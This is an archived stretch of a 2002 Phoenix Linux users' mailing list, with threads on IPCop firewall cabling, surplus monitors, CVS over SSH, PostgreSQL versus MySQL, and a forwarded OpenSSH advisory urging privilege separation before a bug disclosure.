figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Mon, 24 Jun 2002 11:18:13 -0700 Subject: Plug Logo Update In-Reply-To: References: Message-ID: <200206241118.13508.zen2now@qwest.net> i spoke with austin, and sometime this week he will make available the master. slr On Thursday 20 June 2002 05:39 pm, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > is there a master format you can post? such as a PNG, PSD, etc. with > layers and sprites intact? > > > "Black holes are where God divided by zero." > -- Steven Wright > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of slr > Sent: Thursday, June 20, 2002 5:27 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Plug Logo Update > > > well austin is the man, he is done. so for all you guys and gals who > are > interested. you can view the image @ > > http://www.zen2now.com/tux/tux_wallpaper.jpg > > and of coarse feed back is welcome, just be nice. :~D > > slr > > On Thursday 20 June 2002 04:16 pm, slr wrote: > > I just wanted to give you guys an update on the progress of the new > > image. Austin is done with the complete re-draw of Tux, and i must > > say it is the most beautiful computer generated Tux image i have > > ever seen. the lines are so clean, and aliasing is non-existent on > > the edges and should remain that way no matter how big or small the > > image is. he would have already been done with it, but our CEO has > > slammed him with a lot of work. so hopefully by next week sometime > > we will have a complete vector image, and by looks of it so far, > > one we will all be very proud to hang across our upper torso's. :~D > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write > > mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPRJ11I4p6zlv2o83EQJlBACg9QPRRwpUtFagsZmx+4ohqId7Or4An03Z > NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Mon, 24 Jun 2002 11:16:05 -0700 Subject: 15" Monitors available In-Reply-To: Message-ID: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> I'm very interested in obtaining four or five of these. Should I contact you off the list, or are you going to set a date for pick up the way you did before? At 10:20 AM 06/24/2002 -0700, you wrote: >Silly me, I should have included monitors with the computers I was >selling/donating previously. Anywho, I've got about 47 bazillion 15" >monitors for your computing enjoyment. Say, $20 each? I might even give >a discount if you buy in bulk. ;-) If you're a non-profit, the same >rules apply as before with the computers. I'll need a receipt for the >monitors with the total price (even though you'll get them for free). >So stock up on monitors today! Hurry, while supplies last! Operators are >standing by... >~M > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:33:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:33:51 -0700 Subject: Install Fest Leftovers Message-ID: <02062411335104.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 OK - I have two meeses and a keyboard and two multiport hubs that I took home from the Install Fest. The owners can either claim them (I know who you are) or rest assured that they have found a good home. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak uK4OiqqB4g+PwczG1TTkv5du =J8I2 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 24 Jun 2002 11:44:27 -0700 Subject: mail aliases, mailing lists and netscape mail client Message-ID: <3D17688B.1020907@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address( linux@esaravana.com ). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address( linux@esaravna.com ), rather than as my aliased e-mail address( adrenaline@esaravana.com ) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:50:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 11:50:01 -0700 Subject: IPCop In-Reply-To: <20020624105418.34bc7aff.snoogans@qwest.net> Message-ID: 1. Your cable may be bad. 2. You may be using a cross over cable instead of a standard ethernet cable. 3. You may be plugging into an uplink port instead of a standard port. 4. You may be plugging into a port that is shared with another port (often an uplink port and the port nearest to it are the same port and you cannot have something in both) Solution... If your plugging into an uplink port, use a cross over cable If you are plugging into a standard port use a standard ethernet cable. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Monday, June 24, 2002 10:54 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop no its not, i figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 12:07:37 -0700 (PDT) Subject: 15" Monitors available In-Reply-To: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> Message-ID: Give me some advance warning before you stop by and also let me know the number of monitors you'd like. For example, "I'll be by on Wednesday at 10AM to pick up 4 monitors." would be great, that way I can be where I need to be. The monitors are available at New Vision, located at 1920 E Broadway Rd. in Tempe. Thanks, ~M On Mon, 24 Jun 2002, Patrick Hustis wrote: > > I'm very interested in obtaining four or five of these. Should I contact > you off the list, or are you going to set a date for pick up the way you > did before? > > > > At 10:20 AM 06/24/2002 -0700, you wrote: > >Silly me, I should have included monitors with the computers I was > >selling/donating previously. Anywho, I've got about 47 bazillion 15" > >monitors for your computing enjoyment. Say, $20 each? I might even give > >a discount if you buy in bulk. ;-) If you're a non-profit, the same > >rules apply as before with the computers. I'll need a receipt for the > >monitors with the total price (even though you'll get them for free). > >So stock up on monitors today! Hurry, while supplies last! Operators are > >standing by... > >~M > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:23:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 24 Jun 2002 12:23:40 -0700 (PDT) Subject: 15" Monitors available Message-ID: <20020624192340.18713.qmail@web10604.mail.yahoo.com> Hey Matt: Did you say you were in Tempe? I wouldn't mind picking up a monitor for cheap... Where can I pick one up? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 15:20:25 -0700 Subject: CVS via SSH issues Message-ID: <20020624152025.A27515@nadesico> Okay, maybe I'm doing something _completely_ wrong in here somewhere, but I'm experiencing problems doing a CVS checkout operation via SSH. Either CVS or SSH is hanging after checking out the last file in a module. Here's the scenario: [mondoshawan@nadesico:~]$ echo $CVSROOT :ext:mondoshawan@thing:/var/cvs [mondoshawan@nadesico:~]$ echo $CVS_RSH ssh [mondoshawan@nadesico:~]$ cvs co common mondoshawan@thing's password: U common/classes/srep/live/MsgTopicPostable.php U common/classes/srep/live/Nav.php (...ad infinitum...) U common/functions/session.php Just after dealing with that last file, it hangs. It just so happens that common/functions/session.php is the last file it needs to checkout. When I do the checkout locally on Thing, I don't have any problems. Additionally, other coworkers don't have this issue (both Mac OS X and Debian Linux), so I'm guessing it's an issue on my local machine. Any ideas? -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 15:22:31 -0700 Subject: PostgreSQL versus MySQL Message-ID: <15639.39847.826426.684817@bela.interhack.net> To persons who have knowledge of both MySQL and PostgreSQL: Could someone characterize the highlights and differences, particularly regarding PostgreSQL? I've been working on a project where I suggested using MySQL, with which I am sufficiently familiar to just jump right in and start using it to design a database, tables, etc. However, I know utterly nothing about PostgreSQL, and the person I'm working for believes it would be a better choice for the project we're working on, and also doesn't mind the time it will take for me to come up to speed on it. No problem there, I'm always happy for someone to pay me to learn something new, but I also need to get a handle on it as quickly as possible. Any short bullet list of comparisons would be much appreciated. And lest I forget -- congratulations to PLUG on pulling off what was apparently a successful event this past weekend. I was not able to be there myself, but encouraged others to go. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:59:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Benjamin Bostow) Date: 24 Jun 2002 15:59:55 -0700 Subject: OpenSSL encryption Message-ID: <1024959596.2419.20.camel@localhost.localdomain> What is the strength of the encryption in OpenSSL and OpenSSH? Is there a way to limit it to 56-bit for export and not allow the 128-bit? Ben From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:28:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 15:28:20 -0700 Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability] Message-ID: <3D179D04.8090902@deru.com> For your SA'n enjoyment -------- Original Message -------- Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 23:06:31 +0200 From: Markus Friedl Reply-To: openssh@openssh.com To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > Date: Mon, 24 Jun 2002 15:00:10 -0600 > From: Theo de Raadt > Subject: Upcoming OpenSSH vulnerability > To: bugtraq@securityfocus.com > Cc: announce@openbsd.org > Cc: dsi@iss.net > Cc: misc@openbsd.org > > There is an upcoming OpenSSH vulnerability that we're working on with > ISS. Details will be published early next week. > > However, I can say that when OpenSSH's sshd(8) is running with priv > seperation, the bug cannot be exploited. > > OpenSSH 3.3p was released a few days ago, with various improvements > but in particular, it significantly improves the Linux and Solaris > support for priv sep. However, it is not yet perfect. Compression is > disabled on some systems, and the many varieties of PAM are causing > major headaches. > > However, everyone should update to OpenSSH 3.3 immediately, and enable > priv seperation in their ssh daemons, by setting this in your > /etc/ssh/sshd_config file: > > UsePrivilegeSeparation yes > > Depending on what your system is, privsep may break some ssh > functionality. However, with privsep turned on, you are immune from > at least one remote hole. Understand? > > 3.3 does not contain a fix for this upcoming bug. > > If priv seperation does not work on your operating system, you need to > work with your vendor so that we get patches to make it work on your > system. Our developers are swamped enough without trying to support > the myriad of PAM and other issues which exist in various systems. > You must call on your vendors to help us. > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > the daemon splits into two parts. A part containing about 2500 lines > of code remains as root, and the rest of the code is shoved into a > chroot-jail without any privs. This makes the daemon less vulnerable > to attack. > > We've been trying to warn vendors about 3.3 and the need for privsep, > but they really have not heeded our call for assistance. They have > basically ignored us. Some, like Alan Cox, even went further stating > that privsep was not being worked on because "Nobody provided any info > which proves the problem, and many people dont trust you theo" and > suggested I "might be feeding everyone a trojan" (I think I'll publish > that letter -- it is just so funny). HP's representative was > downright rude, but that is OK because Compaq is retiring him. Except > for Solar Designer, I think none of them has helped the OpenSSH > portable developers make privsep work better on their systems. > Apparently Solar Designer is the only person who understands the need > for this stuff. > > So, if vendors would JUMP and get it working better, and send us > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > which supports these systems better. So send patches by Thursday > night please. Then on Tuesday or Wednesday the complete bug report > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > exploitable. Clearly we cannot yet publish what the bug is, or > provide anyone with the real patch, but we can try to get maximum > deployement of privsep, and therefore make it hurt less when the > problem is published. > > So please push your vendor to get us maximally working privsep patches > as soon as possible! > > We've given most vendors since Friday last week until Thursday to get > privsep working well for you so that when the announcement comes out > next week their customers are immunized. That is nearly a full week > (but they have already wasted a weekend and a Monday). Really I think > this is the best we can hope to do (this thing will eventually leak, > at which point the details will be published). > > Customers can judge their vendors by how they respond to this issue. > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > On OpenBSD privsep works flawlessly, and I have reports that is also > true on NetBSD. All other systems appear to have minor or major > weaknesses when this code is running. > > (securityfocus postmaster; please post this through immediately, since > i have bcc'd over 30 other places..) _______________________________________________ openssh-unix-announce@mindrot.org mailing list http://www.mindrot.org/mailman/listinfo/openssh-unix-announce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:33:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 16:33:10 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] Message-ID: <3D17AC36.8020104@deru.com> This is a multi-part message in MIME format. --------------080706000507070407060207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit -------- Original Message -------- Subject: Re: [discuss] Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 15:42:46 -0600 From: Vincent Danen Reply-To: discuss@mandrakesecure.net Organization: Danen Consulting Services (www.danen.net) To: discuss@mandrakesecure.net References: On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > FYI... Updates are currently in the works. The vulnerability, as stated is not yet public. I am close to having openssh built for all supported platforms and just need to test them all now. > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > message to discuss-unsubscribe@mandrakesecure.net. To visit MandrakeSecure, > go to http://www.mandrakesecure.net/. > -- MandrakeSoft Security; http://www.mandrakesecure.net/ "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. --------------080706000507070407060207 Content-Type: application/pgp-signature; name="file:///tmp/nsmail.tmp" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="file:///tmp/nsmail.tmp" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMC43IChH TlUvTGludXgpCgppRDhEQlFFOUY1SldJRVBRNWY1dkt2MFJBanFNQUtDeFUydHRjblFpSURP cFRRZ3FqYURZMXpKSW1RQ2dzTnFtCnkxeUVkZnE5eHhlV21oY2RHUm01Y0pzPQo9SDg2dgot LS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0KCg== --------------080706000507070407060207-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 24 Jun 2002 18:59:21 -0500 (CDT) Subject: PostgreSQL versus MySQL In-Reply-To: <15639.39847.826426.684817@bela.interhack.net> Message-ID: Most MySQL issues I think have been fixed as of late with InnoDB, the things that used to hold it up (and still might) 1. Lack of refriential integrity (FK's) 2. No Transaction Support 3. Table Level Locking 4. No Triggers/Stored Procedures 5. Poor SQL92 Support (no db is SQL92 compliant, but some better than others) 6. No Subselects 7. No Unions 8. No concept of OID's or unique rows and the list goes on. Please note that if MySQL was to be used for things like dynamic websites that have a much higher read to write ratio, where table level locking is a plus not a minus. And where integrity is not nearly as important (not business transactional systems like G/L's and the likes) MySQL is/was a good choice. However the minute you step into business applications that heavy transaction updates and reporting, MySQL will/would nearly cripple you. Postgres is MUCH better suited to such tasks. However its far from perfect. The Free (as in libre) database to watch and use for transactional business applications is the GPL'd SAP-DB. If you havent investigated it you might want to. -Derek On Mon, 24 Jun 2002, Lynn David Newton wrote: > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:53:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 20:53:43 -0400 Subject: Help getting experience References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <3D17BF17.BC30AC5C@georgetoft.com> The sad thing is 